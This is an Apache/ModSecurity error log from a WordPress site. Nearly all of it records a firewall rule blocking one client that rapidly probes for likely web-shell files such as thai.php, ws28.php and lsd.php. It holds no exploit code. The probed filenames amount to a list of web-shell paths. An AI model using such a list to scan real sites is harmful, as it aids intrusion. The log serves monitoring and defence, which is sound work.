[Sun Dec 28 21:15:27.939496 2025] [:error] [pid 42294:tid 42366] [client 74.225.139.234:13268] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/thai.php"] [unique_id "aVEtb9TE5kYcYCOzl9HQNAAAAJA"]
[Sun Dec 28 21:15:28.368420 2025] [:error] [pid 42293:tid 42336] [client 74.225.139.234:19479] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lopst.php"] [unique_id "aVEtcMvc9B-5cwN385L_PQAAAE0"]
[Sun Dec 28 21:15:28.863716 2025] [:error] [pid 42294:tid 42358] [client 74.225.139.234:19496] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lopst.php"] [unique_id "aVEtcNTE5kYcYCOzl9HQNgAAAIg"]
[Sun Dec 28 21:15:29.482113 2025] [:error] [pid 42293:tid 42324] [client 74.225.139.234:19501] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lopst.php"] [unique_id "aVEtccvc9B-5cwN385L_QQAAAEE"]
[Sun Dec 28 21:15:30.047329 2025] [:error] [pid 42292:tid 42311] [client 74.225.139.234:19525] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lopst.php"] [unique_id "aVEtcpyOrM_vaFx1osZcvAAAAA8"]
[Sun Dec 28 21:15:30.517023 2025] [:error] [pid 29437:tid 29470] [client 74.225.139.234:19562] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wft.php"] [unique_id "aVEtchhDotAbVk6pZLfaNQAAAcQ"]
[Sun Dec 28 21:15:30.977772 2025] [:error] [pid 42294:tid 42368] [client 74.225.139.234:19498] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wft.php"] [unique_id "aVEtctTE5kYcYCOzl9HQOwAAAJI"]
[Sun Dec 28 21:15:31.368839 2025] [:error] [pid 42293:tid 42332] [client 74.225.139.234:13270] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wft.php"] [unique_id "aVEtc8vc9B-5cwN385L_RwAAAEk"]
[Sun Dec 28 21:15:31.839965 2025] [:error] [pid 42294:tid 42353] [client 74.225.139.234:19537] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wft.php"] [unique_id "aVEtc9TE5kYcYCOzl9HQPAAAAIM"]
[Sun Dec 28 21:15:32.355211 2025] [:error] [pid 29437:tid 29489] [client 74.225.139.234:19510] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws28.php"] [unique_id "aVEtdBhDotAbVk6pZLfaPwAAAdc"]
[Sun Dec 28 21:15:32.871044 2025] [:error] [pid 42378:tid 42385] [client 74.225.139.234:19475] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws28.php"] [unique_id "aVEtdDgtcN-KHAjWrX8tmQAAAMU"]
[Sun Dec 28 21:15:33.309713 2025] [:error] [pid 42293:tid 42336] [client 74.225.139.234:19506] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws28.php"] [unique_id "aVEtdcvc9B-5cwN385L_TgAAAE0"]
[Sun Dec 28 21:15:33.858942 2025] [:error] [pid 43789:tid 43797] [client 74.225.139.234:13256] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws28.php"] [unique_id "aVEtdQa-tUppni4CcCZIaQAAAQY"]
[Sun Dec 28 21:15:34.417739 2025] [:error] [pid 42378:tid 42393] [client 74.225.139.234:13205] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wsvvs.php"] [unique_id "aVEtdjgtcN-KHAjWrX8tmwAAAM0"]
[Sun Dec 28 21:15:35.313350 2025] [:error] [pid 42292:tid 42308] [client 74.225.139.234:19563] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wsvvs.php"] [unique_id "aVEtd5yOrM_vaFx1osZcxAAAAAw"]
[Sun Dec 28 21:15:35.752651 2025] [:error] [pid 29437:tid 29476] [client 74.225.139.234:19514] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wsvvs.php"] [unique_id "aVEtdxhDotAbVk6pZLfaRwAAAco"]
[Sun Dec 28 21:15:36.259087 2025] [:error] [pid 42294:tid 42367] [client 74.225.139.234:19531] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wsvvs.php"] [unique_id "aVEteNTE5kYcYCOzl9HQSAAAAJE"]
[Sun Dec 28 21:15:36.689174 2025] [:error] [pid 29388:tid 29403] [client 74.225.139.234:19578] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/vbbn.php"] [unique_id "aVEteNoLv2L2zI_SpdX1XwAAAUc"]
[Sun Dec 28 21:15:37.055220 2025] [:error] [pid 43789:tid 43798] [client 74.225.139.234:13263] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/vbbn.php"] [unique_id "aVEteQa-tUppni4CcCZIbAAAAQc"]
[Sun Dec 28 21:15:37.411145 2025] [:error] [pid 29436:tid 29459] [client 74.225.139.234:19493] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/vbbn.php"] [unique_id "aVEtebchzOOtNL9VPNIQQQAAAZQ"]
[Sun Dec 28 21:15:37.861121 2025] [:error] [pid 42378:tid 42396] [client 74.225.139.234:19456] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/vbbn.php"] [unique_id "aVEteTgtcN-KHAjWrX8toAAAANA"]
[Sun Dec 28 21:15:38.384796 2025] [:error] [pid 42378:tid 42398] [client 74.225.139.234:13274] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/pn.php"] [unique_id "aVEtejgtcN-KHAjWrX8towAAANI"]
[Sun Dec 28 21:15:39.008681 2025] [:error] [pid 29388:tid 29407] [client 74.225.139.234:19489] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/pn.php"] [unique_id "aVEte9oLv2L2zI_SpdX1YgAAAUs"]
[Sun Dec 28 21:15:39.360581 2025] [:error] [pid 42293:tid 42331] [client 74.225.139.234:19463] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/pn.php"] [unique_id "aVEte8vc9B-5cwN385L_YAAAAEg"]
[Sun Dec 28 21:15:40.097252 2025] [:error] [pid 29437:tid 29481] [client 74.225.139.234:19547] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/pn.php"] [unique_id "aVEtfBhDotAbVk6pZLfaSwAAAc8"]
[Sun Dec 28 21:15:41.247501 2025] [:error] [pid 29436:tid 29440] [client 74.225.139.234:19565] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fz.php"] [unique_id "aVEtfbchzOOtNL9VPNIQSwAAAYE"]
[Sun Dec 28 21:15:41.631608 2025] [:error] [pid 29436:tid 29441] [client 74.225.139.234:19509] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fz.php"] [unique_id "aVEtfbchzOOtNL9VPNIQTwAAAYI"]
[Sun Dec 28 21:15:42.055364 2025] [:error] [pid 42293:tid 42332] [client 74.225.139.234:13257] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fz.php"] [unique_id "aVEtfsvc9B-5cwN385L_ZgAAAEk"]
[Sun Dec 28 21:15:42.445548 2025] [:error] [pid 42378:tid 42397] [client 74.225.139.234:19550] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fz.php"] [unique_id "aVEtfjgtcN-KHAjWrX8tqgAAANE"]
[Sun Dec 28 21:15:42.857255 2025] [:error] [pid 29388:tid 29404] [client 74.225.139.234:19526] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sang.php"] [unique_id "aVEtftoLv2L2zI_SpdX1awAAAUg"]
[Sun Dec 28 21:15:43.242429 2025] [:error] [pid 29388:tid 29417] [client 74.225.139.234:19545] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sang.php"] [unique_id "aVEtf9oLv2L2zI_SpdX1bQAAAVU"]
[Sun Dec 28 21:15:43.792025 2025] [:error] [pid 29436:tid 29459] [client 74.225.139.234:13188] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sang.php"] [unique_id "aVEtf7chzOOtNL9VPNIQeQAAAZQ"]
[Sun Dec 28 21:15:45.232986 2025] [:error] [pid 42294:tid 42371] [client 74.225.139.234:13251] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sang.php"] [unique_id "aVEtgdTE5kYcYCOzl9HQUwAAAJU"]
[Sun Dec 28 21:15:45.651969 2025] [:error] [pid 42294:tid 42369] [client 74.225.139.234:13310] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/0o0.php"] [unique_id "aVEtgdTE5kYcYCOzl9HQVAAAAJM"]
[Sun Dec 28 21:15:46.055421 2025] [:error] [pid 43789:tid 43797] [client 74.225.139.234:19487] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/0o0.php"] [unique_id "aVEtgga-tUppni4CcCZIdwAAAQY"]
[Sun Dec 28 21:15:46.471429 2025] [:error] [pid 29436:tid 29440] [client 74.225.139.234:19469] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/0o0.php"] [unique_id "aVEtgrchzOOtNL9VPNIQgQAAAYE"]
[Sun Dec 28 21:15:47.011062 2025] [:error] [pid 42378:tid 42384] [client 74.225.139.234:19535] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/0o0.php"] [unique_id "aVEtgzgtcN-KHAjWrX8tsAAAAMQ"]
[Sun Dec 28 21:15:47.655999 2025] [:error] [pid 29436:tid 29461] [client 74.225.139.234:19538] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zxl.php"] [unique_id "aVEtg7chzOOtNL9VPNIQigAAAZY"]
[Sun Dec 28 21:15:48.241662 2025] [:error] [pid 29436:tid 29459] [client 74.225.139.234:19564] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zxl.php"] [unique_id "aVEthLchzOOtNL9VPNIQiwAAAZQ"]
[Sun Dec 28 21:15:48.644835 2025] [:error] [pid 29437:tid 29477] [client 74.225.139.234:19461] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zxl.php"] [unique_id "aVEthBhDotAbVk6pZLfaYgAAAcs"]
[Sun Dec 28 21:15:49.427065 2025] [:error] [pid 43789:tid 43808] [client 74.225.139.234:19505] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zxl.php"] [unique_id "aVEthQa-tUppni4CcCZIeQAAARE"]
[Sun Dec 28 21:15:49.780113 2025] [:error] [pid 42292:tid 42296] [client 74.225.139.234:13267] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zwso.php"] [unique_id "aVEthZyOrM_vaFx1osZc4wAAAAA"]
[Sun Dec 28 21:15:50.090105 2025] [:error] [pid 29436:tid 29460] [client 74.225.139.234:13276] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zwso.php"] [unique_id "aVEthrchzOOtNL9VPNIQlgAAAZU"]
[Sun Dec 28 21:15:50.467657 2025] [:error] [pid 29436:tid 29447] [client 74.225.139.234:19513] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zwso.php"] [unique_id "aVEthrchzOOtNL9VPNIQmAAAAYg"]
[Sun Dec 28 21:15:50.875965 2025] [:error] [pid 29436:tid 29452] [client 74.225.139.234:13287] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zwso.php"] [unique_id "aVEthrchzOOtNL9VPNIQmgAAAY0"]
[Sun Dec 28 21:15:56.977870 2025] [autoindex:error] [pid 42378:tid 42401] [client 74.225.139.234:19476] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 28 21:17:36.446374 2025] [:error] [pid 29436:tid 29462] [client 74.225.139.234:13249] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lsd.php"] [unique_id "aVEt8LchzOOtNL9VPNIRWwAAAZc"]
[Sun Dec 28 21:17:36.873967 2025] [:error] [pid 29388:tid 29404] [client 74.225.139.234:19552] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lsd.php"] [unique_id "aVEt8NoLv2L2zI_SpdX2SAAAAUg"]
[Sun Dec 28 21:17:37.774999 2025] [:error] [pid 29436:tid 29439] [client 74.225.139.234:13308] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lsd.php"] [unique_id "aVEt8bchzOOtNL9VPNIRXgAAAYA"]
[Sun Dec 28 21:17:39.043109 2025] [:error] [pid 29436:tid 29458] [client 74.225.139.234:13131] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lsd.php"] [unique_id "aVEt87chzOOtNL9VPNIRYwAAAZM"]
[Sun Dec 28 21:17:39.469814 2025] [:error] [pid 29436:tid 29449] [client 74.225.139.234:19532] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/as.php"] [unique_id "aVEt87chzOOtNL9VPNIRZQAAAYo"]
[Sun Dec 28 21:17:40.082612 2025] [:error] [pid 29436:tid 29454] [client 74.225.139.234:13226] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/as.php"] [unique_id "aVEt9LchzOOtNL9VPNIRZwAAAY8"]
[Sun Dec 28 21:17:40.575867 2025] [:error] [pid 42293:tid 42323] [client 74.225.139.234:19533] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/as.php"] [unique_id "aVEt9Mvc9B-5cwN385IAGQAAAEA"]
[Sun Dec 28 21:17:41.022586 2025] [:error] [pid 42293:tid 42343] [client 74.225.139.234:13202] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/as.php"] [unique_id "aVEt9cvc9B-5cwN385IAGgAAAFQ"]
[Sun Dec 28 21:17:41.463475 2025] [:error] [pid 42292:tid 42298] [client 74.225.139.234:13212] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wsd.php"] [unique_id "aVEt9ZyOrM_vaFx1osZd8gAAAAI"]
[Sun Dec 28 21:17:41.883099 2025] [:error] [pid 43789:tid 43794] [client 74.225.139.234:13278] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wsd.php"] [unique_id "aVEt9Qa-tUppni4CcCZI5QAAAQM"]
